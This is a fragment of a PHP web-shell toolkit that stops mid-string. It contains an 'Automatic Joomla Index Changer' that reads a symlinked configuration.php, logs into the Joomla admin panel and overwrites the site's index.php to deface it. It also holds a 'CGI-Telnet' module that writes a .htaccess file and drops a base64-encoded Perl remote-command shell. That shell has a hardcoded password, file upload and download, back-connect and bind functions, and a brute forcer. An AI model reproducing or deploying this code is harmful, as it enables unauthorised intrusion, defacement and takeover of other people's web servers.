curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="#00FFFF" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW